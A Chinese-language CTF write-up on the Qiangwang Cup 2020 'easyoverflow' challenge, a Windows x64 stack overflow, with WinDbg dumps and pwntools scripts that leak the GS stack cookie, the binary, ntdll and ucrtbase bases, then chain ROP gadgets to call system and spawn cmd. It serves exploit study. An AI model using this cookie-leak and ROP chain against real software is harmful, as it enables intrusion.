上两节都是保护机制几乎都没开的情况下,这一节就开始学习绕过ASLR和GS
这里以强网杯2020的easyoverflow来练习学习
没有开SafeSEH和CFG,其他重要的保护都开了
int __cdecl main(int argc, const char **argv, const char **envp) { FILE *v3; // rax FILE *v4; // rax FILE *v5; // rax int v6; // ebx char DstBuf[256]; // [rsp+20h] [rbp-118h] BYREF v3 = _acrt_iob_func(0); setbuf(v3, 0i64); v4 = _acrt_iob_func(1u); setbuf(v4, 0i64); v5 = _acrt_iob_func(2u); setbuf(v5, 0i64); v6 = 3; do { --v6; memset(DstBuf, 0, sizeof(DstBuf)); puts("input:"); read(0, DstBuf, 0x400u); puts("buffer:"); puts(DstBuf); } while ( v6 > 0 ); return 0; }
这个程序很简单,read这里的DstBuf,可以输入0x400大小的数据,而DestBuf是256的空间,所以存在一个栈溢出漏洞
在CTF的PWN中,因为有canary的存在,所以先泄露出canary,再泄露出程序基地址,最后利用ret2libc3即可攻击成功
在win中的利用也很相似,首先需要泄露出StackCookie
这个东西,看一下汇编,这个东西是怎么放入程序的一些地址中的
push rbx
sub rsp, 130h
mov rax, cs:__security_cookie
xor rax, rsp
mov [rsp+138h+var_18], rax
在程序开头会将__security_cookie
放入rax,然后与rsp进行异或,之后把异或的结果(StackCookie
)存放在rsp + 138h + var_18
中,再看一下程序的最后
xor eax, eax
mov rcx, [rsp+138h+var_18]
xor rcx, rsp ; StackCookie
call __security_check_cookie
add rsp, 130h
pop rbx
retn
程序结束前会把rsp + 138h + var_18
里面的值给到rcx,也就是把上面StackCookie
与rsp异或之后的值给rcx,然后再经过一次异或(这样的话StackCookie
的值就会回到__security_cookie
),最后与__security_cookie
进行比较,如果相等则继续,不相等则crash掉
先构造以下poc测试一下
from pwn import * context.log_level = 'debug' li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m') ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m') r = remote('10.211.55.3', 1234) pause() p1 = b'a' * 8 r.sendlineafter('input:', p1) r.interactive()
然后在puts("buffer:");
这里下个断点,之后看一下rsp的布局
0:000> dq rsp 000000ee`9973f840 00000000`00000000 00000000`00000000 000000ee`9973f850 00000000`00000000 00000000`00000002 000000ee`9973f860 61616161`61616161 00000000`0000000a 000000ee`9973f870 00000000`00000000 00000000`00000000 000000ee`9973f880 00000000`00000000 00000000`00000000 000000ee`9973f890 00000000`00000000 00000000`00000000 000000ee`9973f8a0 00000000`00000000 00000000`00000000
可以看到8个a已经被写入,上面的StackCookie
会存到rsp + 0x138 - 0x18
中,所以看一下
0:000> dq rsp + 0x138 - 0x18 000000ee`9973f960 00005fb0`2d14eecc 00000000`00000000 000000ee`9973f970 000002e8`94297480 00007ff6`71ad12f4 000000ee`9973f980 000000ee`9973f9e0 00007ff6`71ad136d
此时程序的StackCookie是00005fb0 2d14eecc
这个值也就是0x5fb02d14eecc
,看一下输入的buf距离这个地址多少,ee9973f960 - ee9973f860 = 0x100
,所以编写poc泄露出StackCookie
from pwn import * context.log_level = 'debug' li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m') ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m') r = remote('10.211.55.3', 1234) pause() p1 = b'a' * 0x100 r.sendlineafter('input:', p1) r.recvuntil('a' * 0x100) r.recvuntil('\n') StackCookie = u64(r.recv(6).ljust(8, b'\x00')) li('StackCookie = ' + hex(StackCookie)) r.interactive()
调试一下看一下泄露的是否正确
0:000> dq rsp + 0x130 - 0x18 00000057`f0bcfc88 61616161`61616161 00002447`1d701f43 00000057`f0bcfc98 00000000`00000000 00000185`4bf47480 00000057`f0bcfca8 00007ff6`637112f4 00000057`f0bcfd10 00000057`f0bcfcb8 00007ff6`6371136d 00000000`00000000 00000057`f0bcfcc8 00000000`00000000 00000000`00000000
可以看到StackCookie
的值是0x24471d701f43
[DEBUG] Received 0x119 bytes: 00000000 62 75 66 66 65 72 3a 0d 0a 61 61 61 61 61 61 61 │buff│er:·│·aaa│aaaa│ 00000010 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│ * 00000100 61 61 61 61 61 61 61 61 61 43 1f 70 1d 47 24 0d │aaaa│aaaa│aC·p│·G$·│ 00000110 0a 69 6e 70 75 74 3a 0d 0a │·inp│ut:·│·│ 00000119 StackCookie = 0x24471d701f43
poc里面StackCookie
和上面调试的一样
因为这个程序三次循环,只要最后的StackCookie正确就不会crash,所以第二次可以泄露出程序的基地址,也就是覆盖rbp,后面就会连带返回值一起泄露出来,poc如下
from pwn import * context.log_level = 'debug' li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m') ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m') r = remote('10.211.55.3', 1234) pause() p1 = b'a' * 0x100 r.sendafter('input:', p1) r.recvuntil('a' * 0x100) StackCookie = u64(r.recv(6).ljust(8, b'\x00')) li('StackCookie = ' + hex(StackCookie)) p2 = b'a' * 0x118 r.sendafter('input:' ,p2) r.recvuntil('a' * 0x118) leak_addr = u64(r.recv(6).ljust(8, b'\x00')) li('leak_addr = ' + hex(leak_addr)) r.interactive()
运行即可成功泄露出返回地址,此时就可以算出binary base
from pwn import * context.log_level = 'debug' li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m') ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m') r = remote('10.211.55.3', 1234) pause() p1 = b'a' * 0x100 r.sendafter('input:', p1) r.recvuntil('a' * 0x100) StackCookie = u64(r.recv(6).ljust(8, b'\x00')) li('StackCookie = ' + hex(StackCookie)) p2 = b'a' * 0x118 r.sendafter('input:' ,p2) r.recvuntil('a' * 0x118) leak_addr = u64(r.recv(6).ljust(8, b'\x00')) li('leak_addr = ' + hex(leak_addr)) binary_base = leak_addr - 0x12F4 li('binary_base = ' + hex(binary_base)) r.interactive()
debug细节如下
[DEBUG] Received 0x131 bytes: 00000000 62 75 66 66 65 72 3a 0d 0a 61 61 61 61 61 61 61 │buff│er:·│·aaa│aaaa│ 00000010 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│ * 00000120 61 f4 12 4c 0c f6 7f 0d 0a 69 6e 70 75 74 3a 0d │a··L│····│·inp│ut:·│ 00000130 0a │·│ 00000131 leak_addr = 0x7ff60c4c12f4 binary_base = 0x7ff60c4c0000
算出binary_base = 0x7ff60c4c0000
,验证一下是否正确,直接看windbg前面的信息
Executable search path is: ModLoad: 00007ff6`0c4c0000 00007ff6`0c4c7000 Z:\easyoverflow\StackOverflow.exe ModLoad: 00007ff8`f3790000 00007ff8`f3b86000 C:\Windows\SYSTEM32\ntdll.dll ModLoad: 00007ff8`f1eb0000 00007ff8`f1fa4000 C:\Windows\System32\xtajit64.dll ModLoad: 00007ff8`f1020000 00007ff8`f117c000 C:\Windows\System32\KERNEL32.DLL ModLoad: 00007ff8`ef810000 00007ff8`efdf9000 C:\Windows\System32\KERNELBASE.dll ModLoad: 00007ff8`eedd0000 00007ff8`eeea8000 C:\Windows\SYSTEM32\apphelp.dll ModLoad: 00007ff8`ef270000 00007ff8`ef464000 C:\Windows\System32\ucrtbase.dll ModLoad: 00007ff8`e6e80000 00007ff8`e6eb5000 C:\Windows\SYSTEM32\VCRUNTIME140.dll
第二行就是binary的地址区间,基地址一样,证明poc正确
接下来需要打返回地址到main函数使得可以继续利用,值得注意的是因为到main函数之后栈会变,所以需要再次泄露出StackCookie
,poc如下
from pwn import * context.log_level = 'debug' li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m') ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m') #r = remote('10.211.55.3', 1234) r = remote('192.168.10.102', 1234) #pause() p1 = b'a' * 0x100 r.sendafter('input:', p1) r.recvuntil('a' * 0x100) StackCookie = u64(r.recv(6).ljust(8, b'\x00')) li('StackCookie = ' + hex(StackCookie)) p2 = b'a' * 0x118 r.sendafter('input:' ,p2) r.recvuntil('a' * 0x118) leak_addr = u64(r.recv(6).ljust(8, b'\x00')) li('leak_addr = ' + hex(leak_addr)) binary_base = leak_addr - 0x12F4 li('binary_base = ' + hex(binary_base)) main_addr = 0x1000 + binary_base p3 = b'a' * 0x100 p3 += p64(StackCookie) p3 += b'a' * 0x10 p3 += p64(main_addr) r.sendafter('input:', p3) r.sendafter('input:', p1) r.recvuntil('a' * 0x100) StackCookie = u64(r.recv(6).ljust(8, b'\x00')) li('StackCookie = ' + hex(StackCookie))
接下来就可以利用ret2dll的方法来getshell,第一步泄露出dll_base,上一节已经学过了利用iat表来泄露出dll_base,但是这个程序是64位的,参数通过寄存器传递,顺序是 rcx rdx r8 r9
所以笔者用Ropgadget找了一下发现gadgets很少几乎用不了
➜ easyoverflow ROPgadget --binary StackOverflow.exe --only 'pop|ret' Gadgets information ============================================================ 0x00000001400017ee : pop rbp ; ret 0x00000001400010c9 : pop rbx ; ret 0x00000001400014ed : pop rdi ; pop rsi ; pop rbx ; ret 0x000000014000133d : pop rdi ; ret 0x00000001400014ee : pop rsi ; pop rbx ; ret 0x00000001400010ca : ret 0x0000000140001818 : ret 0 0x0000000140001723 : ret 0x8348 0x0000000140001643 : ret 0xb70f 0x0000000140001678 : ret 0xeb28 0x0000000140001d12 : ret 3
在CTF PWN中,可以通过泄露出libc然后用libc的gadgets,但是win下就不一样,因为没有可用的gadgets,所以需要借助ntdll.dll这个dll来寻找可用的gadgets,为什么是ntdll.dll呢,因为在main函数调用之前会调用ntdll.dll,所以可以泄露出这上面的地址,寻找一下
ModLoad: 00007fff`2da80000 00007fff`2dc89000 C:\WINDOWS\SYSTEM32\ntdll.dll 0:000> dq rsp + 0x170 00000010`d33ffb88 61616161`61616161 61616161`61616161 00000010`d33ffb98 61616161`61616161 61616161`61616161 00000010`d33ffba8 61616161`61616161 61616161`61616161 00000010`d33ffbb8 00007fff`2da8485b 00000000`00000000
在10d33ffba8
这里存放的地址就是ntdll.dll上的地址,算一下偏移在0x180,并且泄露的地址与base偏移为0x485b
所以构造如下exp
from pwn import * context.log_level = 'debug' li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m') ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m') #r = remote('10.211.55.3', 1234) r = remote('192.168.10.102', 1234) pause() p1 = b'a' * 0x100 r.sendafter('input:', p1) r.recvuntil('a' * 0x100) StackCookie = u64(r.recv(6).ljust(8, b'\x00')) li('StackCookie = ' + hex(StackCookie)) p2 = b'a' * 0x118 r.sendafter('input:' ,p2) r.recvuntil('a' * 0x118) leak_addr = u64(r.recv(6).ljust(8, b'\x00')) li('leak_addr = ' + hex(leak_addr)) binary_base = leak_addr - 0x12F4 li('binary_base = ' + hex(binary_base)) main_addr = 0x1000 + binary_base p3 = b'a' * 0x100 p3 += p64(StackCookie) p3 += b'a' * 0x10 p3 += p64(main_addr) r.sendafter('input:', p3) r.sendafter('input:', p1) r.recvuntil('a' * 0x100) StackCookie = u64(r.recv(6).ljust(8, b'\x00')) li('StackCookie = ' + hex(StackCookie)) p4 = b'a' * 0x180 r.sendafter('input:', p4) r.recvuntil('a' * 0x180) ntdll_addr = u64(r.recv(6).ljust(8, b'\x00')) li('ntdll_addr = ' + hex(ntdll_addr)) ntdll_base = ntdll_addr - 0x485b li('ntdll_base = ' + hex(ntdll_base)) r.interactive()
输出的地址正确,因为有aslr的存在,所以地址肯定是随机的,这就造成了上面有时候地址不一样,需要注意的是这里笔者换成了实机,因为arm windows11支持了x64的程序
相应的x64程序的公用DLL和ARM64程序使用的公用DLL一样都会存放在System32目录下。实际上,原来的ARM64系统DLL都已经进化成ARM64x ABI的混合DLL,这些DLL中的机器码主要仍是ARM64 native的,ARM64程序仍然能以最高效率调用里面导出的函数。同时增加了对x64程序基于JIT指令转译模拟执行时调用相关导出函数的支持,主要是将x64调用约定转换为对相应的ARM64函数的调用,执行结果处理则反之。这样可以提高执行效率,因为如果直接使用自Win10 x64版本的System32目录复制过来的x64 DLL的话,DLL中的机器码也需要指令转译,从而影响了执行效率。可能有点像Win10 on ARM下执行x86程序时调用系统常用的DLL使用SyChpe32中的CHPE DLL以提高执行效率的策略。
[DEBUG] Received 0x193 bytes: 00000000 3a 0d 0a 61 61 61 61 61 61 61 61 61 61 61 61 61 │:··a│aaaa│aaaa│aaaa│ 00000010 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│ * 00000180 61 61 61 5b 48 a8 2d ff 7f 0d 0a 69 6e 70 75 74 │aaa[│H·-·│···i│nput│ 00000190 3a 0d 0a │:··│ 00000193 ntdll_addr = 0x7fff2da8485b ntdll_base = 0x7fff2da80000
拿到ntdll的地址之后寻找需要用的gadgets,也就是能控制rcx的还有rbx,为什么还有个rbx,看下面的汇编
dec ebx
call memset
lea rcx, Buffer ; "input:"
call cs:puts
mov r8d, 400h ; MaxCharCount
lea rdx, [rsp+138h+DstBuf] ; DstBuf
xor ecx, ecx ; FileHandle
call cs:_read
lea rcx, aBuffer ; "buffer:"
call cs:puts
lea rcx, [rsp+138h+DstBuf] ; Buffer
call cs:puts
test ebx, ebx
jg short loc_7FF60C4C1060
通过rbx来控制循环次数,所以控制了rbx为1之后就可以继续执行rop,找到gadgets之后就需要构造rop了,在构造rop的时候会发现失败,排查下来可以发现是rsp的原因
0:000> r rax=0000000000000140 rbx=0000000000000000 rcx=00000000ffffffff rdx=00000245250cc230 rsi=0000000000000000 rdi=00000245250d0020 rip=00007ff678e11094 rsp=000000f986aff928 rbp=0000000000000000 r8=0000000000000140 r9=00007fff2b7909a0 r10=0000000000000000 r11=000000000000019c r12=0000000000000000 r13=0000000000000000 r14=0000000000000000 r15=0000000000000000 iopl=0 nv up ei pl nz na pe nc cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202 StackOverflow+0x1094: 00007ff6`78e11094 488d0dbd110000 lea rcx,[StackOverflow+0x2258 (00007ff6`78e12258)] 0:000> g Breakpoint 0 hit StackOverflow+0x1094: 00007ff6`78e11094 488d0dbd110000 lea rcx,[StackOverflow+0x2258 (00007ff6`78e12258)] 0:000> r rax=0000000000000140 rbx=0000000000000000 rcx=00000000ffffffff rdx=00000245250cc230 rsi=0000000000000000 rdi=00000245250d0020 rip=00007ff678e11094 rsp=000000f986affa88 rbp=0000000000000000 r8=0000000000000140 r9=00007fff2b7909a0 r10=0000000000000000 r11=000000000000019c r12=0000000000000000 r13=0000000000000000 r14=0000000000000000 r15=0000000000000000
因为rsp的值改变了,所以最后check cookie
会不通过,所以需要重新计算StackCookie
,也就是泄露出security_cookie
,再计算出新的rsp(000000f986affa88 - 000000f986aff928 = 0x160
),所以exp如下
from pwn import * context.log_level = 'debug' li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m') ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m') #r = remote('10.211.55.3', 1234) r = remote('192.168.10.102', 1234) #pause() p1 = b'a' * 0x100 r.sendafter('input:', p1) r.recvuntil('a' * 0x100) StackCookie = u64(r.recv(6).ljust(8, b'\x00')) li('StackCookie = ' + hex(StackCookie)) p2 = b'a' * 0x118 r.sendafter('input:' ,p2) r.recvuntil('a' * 0x118) leak_addr = u64(r.recv(6).ljust(8, b'\x00')) li('leak_addr = ' + hex(leak_addr)) binary_base = leak_addr - 0x12F4 li('binary_base = ' + hex(binary_base)) main_addr = 0x1000 + binary_base p3 = b'a' * 0x100 p3 += p64(StackCookie) p3 += b'a' * 0x10 p3 += p64(main_addr) r.sendafter('input:', p3) r.sendafter('input:', p1) r.recvuntil('a' * 0x100) StackCookie = u64(r.recv(6).ljust(8, b'\x00')) li('StackCookie = ' + hex(StackCookie)) p4 = b'a' * 0x180 r.sendafter('input:', p4) r.recvuntil('a' * 0x180) ntdll_addr = u64(r.recv(6).ljust(8, b'\x00')) li('ntdll_addr = ' + hex(ntdll_addr)) ntdll_base = ntdll_addr - 0x485b li('ntdll_base = ' + hex(ntdll_base)) pop_rcx_ret = 0x0000000000096065 + ntdll_base pop_rbx_ret = 0x00000000000012a7 + ntdll_base pop_rdx_ret = 0x00000000000f12ab + ntdll_base puts_plt = 0x10A6 + binary_base security_cookie_addr = 0x3008 + binary_base p5 = b'a' * 0x100 p5 += p64(StackCookie) p5 += b'a' * 0x10 p5 += p64(pop_rcx_ret) p5 += p64(security_cookie_addr) p5 += p64(pop_rbx_ret) p5 += p64(1) p5 += p64(puts_plt) r.sendafter('input:', p5) r.recvuntil('a' * 0x100) r.recvline() security_cookie = u64(r.recvn(6).ljust(8, b'\x00')) li('security_cookie = ' + hex(security_cookie)) old_rsp = security_cookie ^ StackCookie li('old_rsp = ' + hex(old_rsp)) new_rsp = old_rsp + 0x160 li('new_rsp = ' + hex(new_rsp))
现在有了新的rsp,通过security_cookie
异或出新的StackCookie
即可正常rop,此时输出ucrtbase
,然后算出system和cmd,值得注意的是再次rop,rsp还是会变的,算好偏移即可,最终exp如下
from pwn import * context.log_level = 'debug' li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m') ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m') #r = remote('10.211.55.3', 1234) r = remote('192.168.10.102', 1234) #pause() p1 = b'a' * 0x100 r.sendafter('input:', p1) r.recvuntil('a' * 0x100) StackCookie = u64(r.recv(6).ljust(8, b'\x00')) li('StackCookie = ' + hex(StackCookie)) p2 = b'a' * 0x118 r.sendafter('input:' ,p2) r.recvuntil('a' * 0x118) leak_addr = u64(r.recv(6).ljust(8, b'\x00')) li('leak_addr = ' + hex(leak_addr)) binary_base = leak_addr - 0x12F4 li('binary_base = ' + hex(binary_base)) main_addr = 0x1000 + binary_base p3 = b'a' * 0x100 p3 += p64(StackCookie) p3 += b'a' * 0x10 p3 += p64(main_addr) r.sendafter('input:', p3) r.sendafter('input:', p1) r.recvuntil('a' * 0x100) StackCookie = u64(r.recv(6).ljust(8, b'\x00')) li('StackCookie = ' + hex(StackCookie)) p4 = b'a' * 0x180 r.sendafter('input:', p4) r.recvuntil('a' * 0x180) ntdll_addr = u64(r.recv(6).ljust(8, b'\x00')) li('ntdll_addr = ' + hex(ntdll_addr)) ntdll_base = ntdll_addr - 0x485b li('ntdll_base = ' + hex(ntdll_base)) pop_rcx_ret = 0x0000000000096065 + ntdll_base pop_rbx_ret = 0x00000000000012a7 + ntdll_base pop_rdx_ret = 0x00000000000f12ab + ntdll_base puts_plt = 0x10A6 + binary_base security_cookie_addr = 0x3008 + binary_base p5 = b'a' * 0x100 p5 += p64(StackCookie) p5 += b'a' * 0x10 p5 += p64(pop_rcx_ret) p5 += p64(security_cookie_addr) p5 += p64(pop_rbx_ret) p5 += p64(1) p5 += p64(puts_plt) r.sendafter('input:', p5) r.recvuntil('a' * 0x100) r.recvline() security_cookie = u64(r.recvn(6).ljust(8, b'\x00')) li('security_cookie = ' + hex(security_cookie)) old_rsp = security_cookie ^ StackCookie li('old_rsp = ' + hex(old_rsp)) new_rsp = old_rsp + 0x160 li('new_rsp = ' + hex(new_rsp)) read_got = 0x2178 + binary_base p6 = b'a' * 0x100 p6 += p64(new_rsp ^ security_cookie) p6 += b'a' * 0x10 p6 += p64(pop_rcx_ret) + p64(read_got) p6 += p64(pop_rbx_ret) + p64(1) p6 += p64(puts_plt) r.sendafter('input:', p6) r.recvuntil('a' * 0x100) r.recvline() ucrt_base = u64(r.recvn(6).ljust(8, b'\x00')) - 0x7650 li('ucrt_base = ' + hex(ucrt_base)) system_addr = 0xBCB20 + ucrt_base cmd = 0xE0020 + ucrt_base p7 = b'a' * 0x100 p7 += p64((new_rsp + 0x160) ^ security_cookie) p7 += b'a' * 0x10 p7 += p64(pop_rcx_ret) + p64(cmd) p7 += p64(system_addr) r.sendafter('input:', p7) r.interactive()
看一下打通的
[*] Switching to interactive mode [DEBUG] Received 0x6 bytes: b'buffer' buffer[DEBUG] Received 0x17d bytes: 00000000 3a 0d 0a 61 61 61 61 61 61 61 61 61 61 61 61 61 │:··a│aaaa│aaaa│aaaa│ 00000010 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│ * 00000100 61 61 61 8a d2 4f 29 c5 43 0d 0a 4d 69 63 72 6f │aaa·│·O)·│C··M│icro│ 00000110 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 5b b0 e6 │soft│ Win│dows│ [··│ 00000120 b1 be 20 31 30 2e 30 2e 32 32 30 30 30 2e 39 37 │·· 1│0.0.│2200│0.97│ 00000130 38 5d 0d 0a 28 63 29 20 4d 69 63 72 6f 73 6f 66 │8]··│(c) │Micr│osof│ 00000140 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e a1 a3 b1 │t Co│rpor│atio│n···│ 00000150 a3 c1 f4 cb f9 d3 d0 c8 a8 c0 fb a1 a3 0d 0a 0d │····│····│····│····│ 00000160 0a 43 3a 5c 55 73 65 72 73 5c 4c 65 6e 6f 76 6f │·C:\│User│s\Le│novo│ 00000170 5c 44 65 73 6b 74 6f 70 5c 70 77 6e 3e │\Des│ktop│\pwn│>│ 0000017d : aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa��O)�C Microsoft Windows [�汾 10.0.22000.978] (c) Microsoft Corporation����������Ȩ���� C:\Users\Lenovo\Desktop\pwn>
一次不通可以多打几次
也是学到了如何绕过GS,因为pwntools的模块没有像libc.sym的这样的东西,所以在写exp的时候没有自动化的一个获取,后面笔者有时间的话会寻找一下有没有对应的解决方案
https://www.zhihu.com/question/434317266/answer/1623308852
https://ret2ver.github.io/2021/10/02/2020%E5%BC%BA%E7%BD%91%E6%9D%AF-easyoverflow/
https://github.com/z1r00/ctf-pwn/blob/main/winpwn/QWB2020/easyoverflow.zip